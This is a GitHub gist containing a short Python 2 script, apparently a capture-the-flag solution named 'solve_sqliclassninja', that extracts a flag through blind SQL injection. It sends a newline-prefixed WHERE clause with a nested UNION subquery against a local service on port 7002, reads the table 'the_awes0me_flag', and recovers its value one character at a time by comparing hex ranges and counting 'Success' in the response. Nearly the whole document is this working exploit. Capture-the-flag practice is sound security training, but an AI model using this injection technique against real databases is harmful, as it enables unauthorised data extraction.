Skip to content

Instantly share code, notes, and snippets.

@ducnhse130201
Created January 10, 2019 12:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ducnhse130201/4d291ca70a6c6bafa083ae04e00d5260 to your computer and use it in GitHub Desktop.
Save ducnhse130201/4d291ca70a6c6bafa083ae04e00d5260 to your computer and use it in GitHub Desktop.
solve_sqliclassninja
import requests
def query(q):
s = requests.Session()
url = 'http://localhost:7002/?query1=' + q
r = s.get(url)
if r.text.count('Success') == 4:
return True
else:
return False
# --> select 1 from dual#
table = ''
flag = ''
while True:
for i in range(33,128):
a = '0x' + (table + chr(i)).encode('hex')
b = '0x' + (table + chr(i+1)).encode('hex')
q = '%0a where (select hex (b) from (select * from (select 1 as a)a join (select 2 as b)b union select * from the_awes0me_flag limit 1 offset 1)aa) between hex ('+ a +') and hex ('+ b +');'
if query(q):
table += chr(i)
print table
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment